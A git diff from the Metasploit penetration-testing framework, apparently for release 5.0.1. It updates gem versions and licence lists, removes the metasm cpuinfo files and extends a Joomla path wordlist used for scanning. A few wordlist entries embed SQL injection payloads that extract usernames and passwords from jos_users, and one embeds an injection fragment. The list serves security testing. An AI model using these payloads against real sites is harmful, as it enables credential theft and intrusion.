diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 0bfaf31f8a7c..ea561c3ea122 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -2,6 +2,8 @@ Tell us what this change does. If you're fixing a bug, please mention the github issue number. +Please ensure you are submitting **from a unique branch** in your [repository](https://github.com/rapid7/metasploit-framework/pull/11086#issuecomment-445506416) to master in Rapid7's. + ## Verification List the steps needed to make sure this thing works diff --git a/.mailmap b/.mailmap index bc68f21edcaf..7521f0532b9f 100644 --- a/.mailmap +++ b/.mailmap @@ -64,7 +64,6 @@ wwebb-r7 bannedit David Rude bcoles bcoles -bcoles Brendan Coles bokojan parzamendi-r7 brandonprry brandonprry Brandon Perry diff --git a/.travis.yml b/.travis.yml index c2df146c7174..511cd45f98e1 100644 --- a/.travis.yml +++ b/.travis.yml @@ -48,6 +48,7 @@ before_install: - ls -la ./.git/hooks - ./.git/hooks/post-merge # Update the bundler + - gem update --system - gem install bundler before_script: - cp config/database.yml.travis config/database.yml diff --git a/Gemfile.lock b/Gemfile.lock index 97102d1aa26c..32977e4de3c8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.0) + metasploit-framework (5.0.1) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -21,9 +21,9 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.3.56) + metasploit-payloads (= 1.3.58) metasploit_data_models - metasploit_payloads-mettle (= 0.5.0) + metasploit_payloads-mettle (= 0.5.1) mqtt msgpack nessus_rest @@ -68,7 +68,6 @@ PATH sinatra sqlite3 sshkey - sysrandom thin tzinfo tzinfo-data @@ -122,7 +121,7 @@ GEM concurrent-ruby (1.0.5) cookiejar (0.3.3) crass (1.0.4) - daemons (1.3.0) + daemons (1.3.1) diff-lcs (1.3) dnsruby (1.61.2) addressable (~> 2.5) @@ -178,7 +177,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.3.56) + metasploit-payloads (1.3.58) metasploit_data_models (3.0.2) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -189,28 +188,28 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.5.0) + metasploit_payloads-mettle (0.5.1) method_source (0.9.2) - mini_portile2 (2.3.0) + mini_portile2 (2.4.0) minitest (5.11.3) mqtt (0.5.0) - msgpack (1.2.4) + msgpack (1.2.6) multipart-post (2.0.0) nessus_rest (0.1.6) - net-ssh (5.0.2) + net-ssh (5.1.0) network_interface (0.0.2) nexpose (7.2.1) - nokogiri (1.8.5) - mini_portile2 (~> 2.3.0) + nokogiri (1.10.0) + mini_portile2 (~> 2.4.0) octokit (4.13.0) sawyer (~> 0.8.0, >= 0.5.3) - openssl-ccm (1.2.1) + openssl-ccm (1.2.2) openvas-omp (0.0.4) packetfu (1.1.13) pcaprub patch_finder (1.0.2) pcaprub (0.13.0) - pdf-reader (2.1.0) + pdf-reader (2.2.0) Ascii85 (~> 1.0.0) afm (~> 0.2.1) hashery (~> 2.0) @@ -246,7 +245,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (12.3.2) rb-readline (0.5.5) - recog (2.1.36) + recog (2.1.44) nokogiri redcarpet (3.4.0) rex-arch (0.1.13) @@ -262,7 +261,7 @@ GEM metasm rex-arch rex-text - rex-exploitation (0.1.19) + rex-exploitation (0.1.20) jsobfu metasm rex-arch @@ -342,7 +341,6 @@ GEM sqlite3 (1.3.13) sshkey (1.9.0) swagger-blocks (2.0.2) - sysrandom (1.0.5) thin (1.7.2) daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) @@ -354,7 +352,7 @@ GEM ttfunk (1.5.1) tzinfo (1.2.5) thread_safe (~> 0.1) - tzinfo-data (1.2018.7) + tzinfo-data (1.2018.9) tzinfo (>= 1.0.0) warden (1.2.7) rack (>= 1.0) @@ -384,4 +382,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.16.6 + 1.17.3 diff --git a/LICENSE b/LICENSE index ec2dc0b27428..3df1e2509a03 100644 --- a/LICENSE +++ b/LICENSE @@ -71,10 +71,6 @@ Files: lib/anemone.rb lib/anemone/* Copyright: 2009 Vertive, Inc. License: MIT -Files: lib/metasm.rb lib/metasm/* data/cpuinfo/* -Copyright: 2006-2010 Yoann GUILLOT -License: LGPL-2.1 - Files: lib/msf/core/modules/external/python/async_timeout/* Copyright: 2016-2017 Andrew Svetlov License: Apache 2.0 diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 50234109b9b9..86f47ec13537 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,135 +1,136 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh Ascii85, 1.0.3, MIT -actionpack, 4.2.10, MIT -actionview, 4.2.10, MIT -activemodel, 4.2.10, MIT -activerecord, 4.2.10, MIT -activesupport, 4.2.10, MIT +actionpack, 4.2.11, MIT +actionview, 4.2.11, MIT +activemodel, 4.2.11, MIT +activerecord, 4.2.11, MIT +activesupport, 4.2.11, MIT addressable, 2.5.2, "Apache 2.0" afm, 0.2.2, MIT arel, 6.0.4, MIT -arel-helpers, 2.6.1, MIT -backports, 3.11.1, MIT -bcrypt, 3.1.11, MIT +arel-helpers, 2.8.0, MIT +backports, 3.11.4, MIT +bcrypt, 3.1.12, MIT bcrypt_pbkdf, 1.0.0, MIT -bindata, 2.4.3, ruby +bindata, 2.4.4, ruby bit-struct, 0.16, ruby builder, 3.2.3, MIT -bundler, 1.16.1, MIT +bundler, 1.17.3, MIT coderay, 1.1.2, MIT concurrent-ruby, 1.0.5, MIT -crass, 1.0.3, MIT +cookiejar, 0.3.3, unknown +crass, 1.0.4, MIT +daemons, 1.3.1, MIT diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+" -dnsruby, 1.60.2, "Apache 2.0" -docile, 1.3.0, MIT +dnsruby, 1.61.2, "Apache 2.0" +docile, 1.3.1, MIT +ed25519, 1.2.4, MIT +em-http-request, 1.1.5, MIT +em-socksify, 0.3.2, MIT erubis, 2.7.0, MIT -factory_bot, 4.8.2, MIT -factory_bot_rails, 4.8.2, MIT -faker, 1.8.7, MIT -faraday, 0.14.0, MIT -filesize, 0.1.1, MIT -fivemat, 1.3.6, MIT -google-protobuf, 3.5.1, "New BSD" -googleapis-common-protos-types, 1.0.1, "Apache 2.0" -googleauth, 0.6.2, "Apache 2.0" -grpc, 1.8.3, "Apache 2.0" +eventmachine, 1.2.7, "ruby, GPL-2.0" +factory_bot, 4.11.1, MIT +factory_bot_rails, 4.11.1, MIT +faker, 1.9.1, MIT +faraday, 0.15.4, MIT +filesize, 0.2.0, MIT +fivemat, 1.3.7, MIT hashery, 2.1.2, "Simplified BSD" +http_parser.rb, 0.6.0, MIT i18n, 0.9.5, MIT jsobfu, 0.4.2, "New BSD" json, 2.1.0, ruby -jwt, 2.1.0, MIT -little-plugger, 1.1.4, MIT -logging, 2.2.2, MIT -loofah, 2.2.0, MIT -memoist, 0.16.0, MIT +loofah, 2.2.3, MIT metasm, 1.0.3, LGPL -metasploit-aggregator, 1.0.0, "New BSD" metasploit-concern, 2.0.5, "New BSD" -metasploit-credential, 2.0.13, "New BSD" -metasploit-framework, 5.0.0, "New BSD" +metasploit-credential, 3.0.2, "New BSD" +metasploit-framework, 5.0.1, "New BSD" metasploit-model, 2.0.4, "New BSD" -metasploit-payloads, 1.3.31, "3-clause (or ""modified"") BSD" -metasploit_data_models, 2.0.16, "New BSD" -metasploit_payloads-mettle, 0.3.7, "3-clause (or ""modified"") BSD" -method_source, 0.9.0, MIT -mini_portile2, 2.3.0, MIT +metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD" +metasploit_data_models, 3.0.2, "New BSD" +metasploit_payloads-mettle, 0.5.1, "3-clause (or ""modified"") BSD" +method_source, 0.9.2, MIT +mini_portile2, 2.4.0, MIT minitest, 5.11.3, MIT mqtt, 0.5.0, MIT -msgpack, 1.2.4, "Apache 2.0" -multi_json, 1.13.1, MIT +msgpack, 1.2.6, "Apache 2.0" multipart-post, 2.0.0, MIT nessus_rest, 0.1.6, MIT -net-ssh, 4.2.0, MIT +net-ssh, 5.1.0, MIT network_interface, 0.0.2, MIT -nexpose, 7.2.0, BSD -nokogiri, 1.8.2, MIT -octokit, 4.8.0, MIT -openssl-ccm, 1.2.1, MIT +nexpose, 7.2.1, "New BSD" +nokogiri, 1.10.0, MIT +octokit, 4.13.0, MIT +openssl-ccm, 1.2.2, MIT openvas-omp, 0.0.4, MIT -os, 0.9.6, MIT packetfu, 1.1.13, BSD patch_finder, 1.0.2, "New BSD" -pcaprub, 0.12.4, LGPL-2.1 -pdf-reader, 2.1.0, MIT +pcaprub, 0.13.0, LGPL-2.1 +pdf-reader, 2.2.0, MIT pg, 0.20.0, "New BSD" pg_array_parser, 0.0.9, unknown -postgres_ext, 3.0.0, MIT -pry, 0.11.3, MIT -public_suffix, 3.0.2, MIT -rack, 1.6.9, MIT +postgres_ext, 3.0.1, MIT +pry, 0.12.2, MIT +public_suffix, 3.0.3, MIT +rack, 1.6.11, MIT +rack-protection, 1.5.5, MIT rack-test, 0.6.3, MIT rails-deprecated_sanitizer, 1.0.3, MIT rails-dom-testing, 1.0.9, MIT -rails-html-sanitizer, 1.0.3, MIT -railties, 4.2.10, MIT -rake, 12.3.0, MIT +rails-html-sanitizer, 1.0.4, MIT +railties, 4.2.11, MIT +rake, 12.3.2, MIT rb-readline, 0.5.5, BSD -recog, 2.1.18, unknown +recog, 2.1.44, unknown redcarpet, 3.4.0, MIT rex-arch, 0.1.13, "New BSD" -rex-bin_tools, 0.1.4, "New BSD" +rex-bin_tools, 0.1.6, "New BSD" rex-core, 0.1.13, "New BSD" rex-encoder, 0.1.4, "New BSD" -rex-exploitation, 0.1.17, "New BSD" +rex-exploitation, 0.1.20, "New BSD" rex-java, 0.1.5, "New BSD" rex-mime, 0.1.5, "New BSD" rex-nop, 0.1.1, "New BSD" rex-ole, 0.1.6, "New BSD" -rex-powershell, 0.1.77, "New BSD" +rex-powershell, 0.1.79, "New BSD" rex-random_identifier, 0.1.4, "New BSD" rex-registry, 0.1.3, "New BSD" rex-rop_builder, 0.1.3, "New BSD" -rex-socket, 0.1.10, "New BSD" +rex-socket, 0.1.15, "New BSD" rex-sslscan, 0.1.5, "New BSD" rex-struct2, 0.1.2, "New BSD" -rex-text, 0.2.17, "New BSD" +rex-text, 0.2.21, "New BSD" rex-zip, 0.1.3, "New BSD" rkelly-remix, 0.0.7, MIT -rspec, 3.7.0, MIT -rspec-core, 3.7.1, MIT -rspec-expectations, 3.7.0, MIT -rspec-mocks, 3.7.0, MIT -rspec-rails, 3.7.2, MIT +rspec, 3.8.0, MIT +rspec-core, 3.8.0, MIT +rspec-expectations, 3.8.2, MIT +rspec-mocks, 3.8.0, MIT +rspec-rails, 3.8.1, MIT rspec-rerun, 1.1.0, MIT -rspec-support, 3.7.1, MIT -ruby-macho, 1.1.0, MIT +rspec-support, 3.8.0, MIT +ruby-macho, 2.1.0, MIT ruby-rc4, 0.1.5, MIT -ruby_smb, 0.0.23, "New BSD" +ruby_smb, 1.0.5, "New BSD" rubyntlm, 0.6.2, MIT -rubyzip, 1.2.1, "Simplified BSD" +rubyzip, 1.2.2, "Simplified BSD" sawyer, 0.8.1, MIT -signet, 0.8.1, "Apache 2.0" -simplecov, 0.16.0, MIT +simplecov, 0.16.1, MIT simplecov-html, 0.10.2, MIT +sinatra, 1.4.8, MIT sqlite3, 1.3.13, "New BSD" sshkey, 1.9.0, MIT -thor, 0.20.0, MIT +swagger-blocks, 2.0.2, MIT +thin, 1.7.2, "GPLv2+, Ruby 1.8" +thor, 0.20.3, MIT thread_safe, 0.3.6, "Apache 2.0" +tilt, 2.0.9, MIT timecop, 0.9.1, MIT ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0" tzinfo, 1.2.5, MIT -tzinfo-data, 1.2018.3, MIT +tzinfo-data, 1.2018.9, MIT +warden, 1.2.7, MIT windows_error, 0.1.2, BSD xdr, 2.0.0, "Apache 2.0" xmlrpc, 0.3.0, ruby -yard, 0.9.12, MIT +yard, 0.9.16, MIT diff --git a/data/cpuinfo/build.sh b/data/cpuinfo/build.sh deleted file mode 100755 index 9d65fd482ed2..000000000000 --- a/data/cpuinfo/build.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/sh - -gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \ -strip cpuinfo.ia32.bin && \ -gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \ -strip cpuinfo.ia64.bin && \ -i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \ -strip cpuinfo.exe - -ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe - diff --git a/data/cpuinfo/cpuinfo.c b/data/cpuinfo/cpuinfo.c deleted file mode 100755 index 55bfb1339e86..000000000000 --- a/data/cpuinfo/cpuinfo.c +++ /dev/null @@ -1,64 +0,0 @@ -// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example - -/* -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this sample shows the compilation of a slightly more complex program -# it displays in a messagebox the result of CPUID -# - -*/ - -#include -#include - -static char *featureinfo[32] = { - "fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8", - "apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat", - "pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx", - "fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe" -}, *extendinfo[32] = { - "sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est", - "tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15", - "unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23", - "unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31" -}; - -#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0)) -#define b(val, base, end) ((val << (31-end)) >> (31-end+base)) -int main(void) -{ - - unsigned long eax, ebx, ecx, edx; - unsigned long i; - - cpuid(0); - fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx); - - cpuid(1); - fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ", - b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19)); - fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n", - b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31)); - - fprintf(stdout, "FLAGS:"); - for (i=0 ; i<32 ; i++) - if (edx & (1 << i)) - fprintf(stdout, " %s", featureinfo[i]); - - for (i=0 ; i<32 ; i++) - if (ecx & (1 << i)) - fprintf(stdout, " %s", extendinfo[i]); - - fprintf(stdout, "\n"); - fflush(stdout); - - return 0; -} - diff --git a/data/cpuinfo/cpuinfo.exe b/data/cpuinfo/cpuinfo.exe deleted file mode 100755 index 6418da1b50a6..000000000000 Binary files a/data/cpuinfo/cpuinfo.exe and /dev/null differ diff --git a/data/cpuinfo/cpuinfo.ia32.bin b/data/cpuinfo/cpuinfo.ia32.bin deleted file mode 100755 index 157e44eb183f..000000000000 Binary files a/data/cpuinfo/cpuinfo.ia32.bin and /dev/null differ diff --git a/data/cpuinfo/cpuinfo.ia64.bin b/data/cpuinfo/cpuinfo.ia64.bin deleted file mode 100755 index 8b7eadc3d6e9..000000000000 Binary files a/data/cpuinfo/cpuinfo.ia64.bin and /dev/null differ diff --git a/data/logos/under-construction-v5.txt b/data/logos/metasploit-v5.txt similarity index 95% rename from data/logos/under-construction-v5.txt rename to data/logos/metasploit-v5.txt index cdb4fa1a3cec..61e6f43d8a52 100644 --- a/data/logos/under-construction-v5.txt +++ b/data/logos/metasploit-v5.txt @@ -22,4 +22,4 @@ xMMMMMMMMMd ,0MMMMMMMMMMK; %red 'oOWMMMMMMMMo%clr +:+ %red .,cdkO0K;%clr :+: :+: :::::::+: - %whiMetasploit%clr %yelUnder Construction%clr \ No newline at end of file + %whiMetasploit%clr \ No newline at end of file diff --git a/data/wordlists/joomla.txt b/data/wordlists/joomla.txt index b1e651d504bf..d4460040aa40 100644 --- a/data/wordlists/joomla.txt +++ b/data/wordlists/joomla.txt @@ -14,6 +14,7 @@ administrator/ administrator/components/ administrator/components/com_a6mambocredits/ administrator/components/com_a6mambohelpdesk/ +administrator/components/com_admin/ administrator/components/com_admin/admin.admin.html.php administrator/components/com_astatspro/refer.php administrator/components/com_bayesiannaivefilter/ @@ -38,7 +39,6 @@ administrator/components/com_joomlaradiov5/ administrator/components/com_jpack/ administrator/components/com_jreactions/ administrator/components/com_juser/ -administrator/components/com_admin/ administrator/components/com_kochsuite / administrator/components/com_linkdirectory/ administrator/components/com_livechat/getSavedChatRooms.php @@ -75,376 +75,1293 @@ component/osproperty/?task=agent_register component/quran/index.php?option=com_quran&action=viewayat&surano= components/com_ clickheat/ components/com_5starhotels/ +components/com_ContentBlogList/ +components/com_Eventing/ +components/com_Fabrik/ components/com_Jambook/jambook.php +components/com_K2/ +components/com_Projectfork/ +components/com_a3000/ components/com_a6mambocredits/ components/com_a6mambohelpdesk/ +components/com_aardvertiser/ +components/com_ab/ components/com_ab_gallery/ +components/com_abbrev/ +components/com_abc/ +components/com_abook/ +components/com_about/ +components/com_abstract/ components/com_acajoom/ components/com_acctexp/ +components/com_aceftp/ components/com_aclassf/ +components/com_aclassfb/ +components/com_aclsfgpl/ +components/com_acmisc/ +components/com_acooldebate/ +components/com_acprojects/ +components/com_acstartseite/ +components/com_acteammember/ +components/com_actions/ components/com_activities/ components/com_actualite/ +components/com_acymailing/ +components/com_acysms/ +components/com_adagency/ +components/com_addproperty/ +components/com_addressbook/ +components/com_adds/ +components/com_admin/ components/com_admin/admin.admin.html.php +components/com_adsmanager/ components/com_advancedpoll/ +components/com_advert/ +components/com_advertisementboard/ +components/com_advertising/ +components/com_affiliatetracker/ +components/com_agency/ +components/com_agenda/ components/com_agora/ components/com_agoragroup/ +components/com_aicontactsafe/ +components/com_airmonoblock/ +components/com_aist/ +components/com_ajax-shoutbox/ +components/com_ajax/ components/com_ajaxchat/ +components/com_ajaxquiz/ +components/com_akeeba/ components/com_akobook/ components/com_akocomment/ components/com_akogallery +components/com_akogallery/ +components/com_alameda/ components/com_alberghi/ +components/com_album/ +components/com_alert/ +components/com_alfcontact/ +components/com_alfresco/ +components/com_alfurqan/ +components/com_alfurqan15x/ +components/com_allcinevid/ components/com_allhotels/ components/com_alphacontent/ +components/com_alphauserpoints/ components/com_altas/ +components/com_altauserpoints/ +components/com_amblog/ +components/com_aml_2/ components/com_amocourse/ +components/com_annonces/ +components/com_annuaire/ +components/com_answers/ +components/com_appointinator/ +components/com_appointment/ +components/com_aprice/ +components/com_arcadegames/ +components/com_archeryscores/ +components/com_artforms/ components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php +components/com_article/ +components/com_articleman/ +components/com_articlemanager/ components/com_articles/ components/com_artist/ components/com_artlinks/ +components/com_artportal/ +components/com_as/ components/com_asortyment/ components/com_astatspro/ +components/com_autartimonial/ +components/com_autartitarot/ +components/com_autostand/ +components/com_availcal/ +components/com_avosbillets/ +components/com_avreloaded/ +components/com_awd_song/ +components/com_awdwall/ components/com_awesom/ +components/com_awiki/ +components/com_aysquiz/ +components/com_b2portfolio/ components/com_babackup/ components/com_banners/ components/com_bayesiannaivefilter/ +components/com_bazaar/ +components/com_bbs/ +components/com_bca-rss-syndicator/ +components/com_be/ components/com_be_it_easypartner/ components/com_beamospetition/ +components/com_bearleague/ +components/com_beeheard/ +components/com_bfquiz_sqli/ +components/com_bfquiztrial/ +components/com_bfsurvey/ +components/com_bfsurvey_basic/ +components/com_bfsurvey_pro/ +components/com_bfsurvey_profree/ components/com_biblestudy/ +components/com_biblioteca/ components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_bidding/ +components/com_biitatemplateshop/ +components/com_billyportfolio/ +components/com_biographies/ +components/com_bit/ components/com_blog/ +components/com_blog_calendar/ +components/com_blogfactory/ +components/com_bnf/ +components/com_book/ components/com_bookflip/ components/com_bookjoomlas/ components/com_booklibrary/ +components/com_booklibrary_1/ +components/com_bookmarks/ +components/com_bookpro/ components/com_books/ +components/com_boss/ +components/com_br/ +components/com_breezingforms/ +components/com_brightweblinks/ components/com_bsadv/ +components/com_bsq/ components/com_bsq_sitestats/ components/com_bsq_sitestats/external/rssfeed.php components/com_bsqsitestats/ +components/com_bt_media/ +components/com_bulkenquery/ +components/com_business/ +components/com_buslicense/ +components/com_ca/ +components/com_caddy/ +components/com_calcbuilder/ components/com_calendar/ +components/com_calendario/ +components/com_calendarplanner/ components/com_camelcitydb2/ +components/com_camp/ components/com_candle/ +components/com_canteen/ +components/com_caproductprices/ +components/com_car/ +components/com_carman/ +components/com_cartikads/ +components/com_cartweberp/ +components/com_casino/ components/com_casino_blackjack/ components/com_casino_videopoker/ components/com_casinobase/ +components/com_catalog/ components/com_catalogproduction/ components/com_catalogshop/ +components/com_catalogue/ components/com_category/ +components/com_catfiltering/ +components/com_cb/ +components/com_cbcontact/ +components/com_cbe/ +components/com_cbresumebuilder/ +components/com_ccboard/ +components/com_ccinvoices/ +components/com_cckjseblod/ +components/com_ccnewsletter/ +components/com_cgtestimonial/ components/com_cgtestimonial/video.php?url="> +components/com_checklist/ +components/com_chronoconnectivity/ +components/com_chronocontact/ components/com_chronocontact/excelwriter/PPS/File.php +components/com_cincopa/ components/com_cinema/ +components/com_civicrm/ +components/com_cjlib/ +components/com_ckforms/ +components/com_clan/ +components/com_clan_members/ +components/com_clanlist/ +components/com_clantools/ components/com_clasifier/ +components/com_classified/ components/com_classifieds/ components/com_clickheat/ components/com_cloner/ +components/com_clubmanager/ components/com_cmimarketplace/ +components/com_cmotour/ components/com_cms/ +components/com_collector/ components/com_colophon/ +components/com_color/ components/com_colorlab/ +components/com_commedia/ +components/com_comments/ +components/com_community/ +components/com_communitypolls/ +components/com_communityquiz/ +components/com_communitysurveys/ +components/com_comp/ components/com_competitions/ +components/com_component/ components/com_comprofiler/ components/com_comprofiler/plugin.class.php +components/com_connect/ +components/com_contact/ +components/com_contact_enhanced/ +components/com_contactformmaker/ components/com_contactinfo/ components/com_content/ +components/com_contentbloglist/ +components/com_contenthistory/ +components/com_contentmap/ +components/com_controller/ +components/com_contushdvideoshare/ +components/com_convertforms/ +components/com_countries/ +components/com_coupon/ +components/com_cpeventcalendar/ +components/com_cpg/ components/com_cpg/cpg.php +components/com_creativecontactform/ +components/com_crhotels/ +components/com_cropimage/ components/com_cropimage/admin.cropcanvas.php +components/com_crowdsource/ components/com_custompages/ +components/com_cvmaker/ +components/com_cwtags/ components/com_cx/ +components/com_d-greinar/ components/com_d3000/ components/com_dadamail/ +components/com_dailymeals/ components/com_dailymessage/ +components/com_dashboard/ +components/com_datafeeds/ +components/com_dateconverter/ components/com_datsogallery/ components/com_dbquery/ +components/com_dcnews/ +components/com_dcs_flashgames/ +components/com_delicious/ +components/com_departments/ components/com_detail/ +components/com_dhforum/ +components/com_diary/ +components/com_digifolio/ components/com_digistore/ +components/com_dioneformwizard/ +components/com_directorix/ components/com_directory/ +components/com_dirfrm/ +components/com_discussions/ +components/com_dj-classifieds/ +components/com_djartgallery/ +components/com_djcatalog/ +components/com_djclassifieds/ components/com_djiceshoutbox/ +components/com_dm_orders/ +components/com_dms/ components/com_doc/ +components/com_docman/ +components/com_docmanpaypal/ +components/com_donateprocess/ +components/com_doqment/ +components/com_download-monitor/ components/com_downloads/ +components/com_drawroot/ components/com_ds-syndicate/ +components/com_dshop/ +components/com_dt-register/ +components/com_dtracker/ components/com_dtregister/ +components/com_dv/ components/com_dv/externals/phpupload/upload.php"); +components/com_dwgraphs/ +components/com_easy_youtube_gallery/ +components/com_easyblog/ components/com_easybook/ +components/com_easydiscuss/ +components/com_easygb/ +components/com_ecommercewd/ +components/com_econtent/ +components/com_education/ +components/com_education_classes/ +components/com_ekrishta/ +components/com_elite/ +components/com_elite_experts/ components/com_emcomposer/ +components/com_enmasse/ +components/com_ensenanzas/ +components/com_eportfolio/ +components/com_equipment/ components/com_equotes/ +components/com_esearch/ +components/com_eshop/ +components/com_eslamiat/ components/com_estateagent/ +components/com_event/ +components/com_eventbooking/ +components/com_eventcal/ components/com_eventing/ +components/com_eventix/ components/com_eventlist/ components/com_events/ components/com_ewriting/ +components/com_expautospro/ +components/com_expedition/ +components/com_expose/ components/com_expose/uploadimg.php +components/com_expose_small_rc4/ components/com_expshop/ components/com_extcalendar/ components/com_extcalendar/cal_popup.php?extmode=view&extid= components/com_extcalendar/extcalendar.php +components/com_extended/ components/com_extended_registration/registration_detailed.inc.php +components/com_extplorer-test1/ +components/com_extplorer-test2/ +components/com_extplorer-test3/ components/com_extplorer/ +components/com_extrasearch/ +components/com_ezautos/ components/com_ezine/ components/com_ezstore/ +components/com_fabrik/ +components/com_facebook/ +components/com_facegallery/ components/com_facileforms/ +components/com_family/ components/com_fantasytournament/ components/com_faq/ +components/com_faqbook/ +components/com_fastball/ +components/com_fbb/ +components/com_feederator/ components/com_feederator/includes/tmsp/add_tmsp.php +components/com_fields/ components/com_filebase/ components/com_filiale/ +components/com_finder/ +components/com_fireboard/ +components/com_firmy/ +components/com_flash/ components/com_flashfun/ +components/com_flashgames/ components/com_flashmagazinedeluxe/ +components/com_flexicontent/ components/com_flippingbook/ +components/com_flipwall/ +components/com_flyspray/ components/com_flyspray/startdown.php +components/com_fm/ components/com_fm/fm.install.php +components/com_focalpoint/ components/com_foevpartners/ +components/com_foobla/ +components/com_foobla_suggestions/ components/com_football/ +components/com_forme/ +components/com_formmaker/ components/com_formtool/ components/com_forum/ +components/com_foto/ +components/com_foxcontact/ components/com_fq/ +components/com_freichat/ +components/com_frontenduseraccess/ +components/com_fsave/ +components/com_fss/ +components/com_full/ components/com_fundraiser/ +components/com_furniture/ +components/com_g2bridge/ +components/com_gadgetfactory/ components/com_galeria/ +components/com_galleria/ components/com_galleria/galleria.html.php components/com_gallery/ +components/com_gallery_wd/ +components/com_galleryxml/ +components/com_gambling/ components/com_game/ components/com_gameq/ +components/com_gamesbox/ +components/com_gameserver/ +components/com_ganalytics/ +components/com_gantry/ components/com_garyscookbook/ +components/com_gbufacebook/ +components/com_gcalendar/ +components/com_gds/ components/com_genealogy/ components/com_geoboerse/ +components/com_geocontent/ +components/com_giftexchange/ components/com_gigcal/ +components/com_gigfe/ +components/com_gk3_photoslide/ +components/com_gmap/ components/com_gmaps/ +components/com_gnosis/ +components/com_golfcourseguid/ +components/com_golfcourseguide/ +components/com_google/ components/com_googlebase/ +components/com_googlemaplocator/ +components/com_goverment/ +components/com_gpstools/ +components/com_graphics/ +components/com_grid/ +components/com_groovygallery/ +components/com_groupjive/ +components/com_groups/ components/com_gsticketsystem/ +components/com_guesser/ components/com_guide/ +components/com_guru/ +components/com_gurujibook/ +components/com_hashcash/ components/com_hashcash/server.php +components/com_hbooking/ components/com_hbssearch/ +components/com_hdflvplayer/ +components/com_hdvideoshare/ +components/com_healthstats/ +components/com_hello/ components/com_hello_world/ +components/com_helpdeskpro/ +components/com_hezacontent/ +components/com_hikasho/ +components/com_hmcommunity/ +components/com_horoscope/ +components/com_horses/ +components/com_hospital/ +components/com_hotbrackets/ +components/com_hotel/ +components/com_hotelguide/ components/com_hotproperties/ components/com_hotproperty/ components/com_hotspots/ +components/com_hsconfig/ +components/com_htmlarea3/ components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php +components/com_huruhelpdesk/ components/com_hwdvideoshare/ components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); +components/com_icagenda/ components/com_ice/ components/com_idoblog/ components/com_idvnews/ +components/com_if_nexus/ +components/com_if_surfalert/ +components/com_igallery/ components/com_ignitegallery/ +components/com_iigcatalog/ +components/com_ijoomla/ components/com_ijoomla_archive/ components/com_ijoomla_rss/ +components/com_imagebrowser/ +components/com_img/ +components/com_imoti/ +components/com_include/ +components/com_informations/ +components/com_inneradmission/ +components/com_installer/ components/com_inter/ +components/com_intranet/ +components/com_intuit/ +components/com_invitex/ +components/com_iomezun/ components/com_ionfiles/ +components/com_iproperty/ +components/com_ircmbasic/ components/com_is/ +components/com_itarmory/ +components/com_items/ components/com_ixxocart/ +components/com_j-projects/ components/com_jabode/ +components/com_jacomment/ +components/com_jaextmanager/ +components/com_jajobboard/ +components/com_janews/ components/com_jashowcase/ +components/com_javoice/ components/com_jb2/ +components/com_jbcatalog/ +components/com_jbdiary/ +components/com_jbook/ +components/com_jbpeople/ +components/com_jbpublishdownfp/ +components/com_jbudgetsmagic/ +components/com_jbuildozer/ +components/com_jbusinessdirectory/ +components/com_jcafe/ +components/com_jcalpro/ 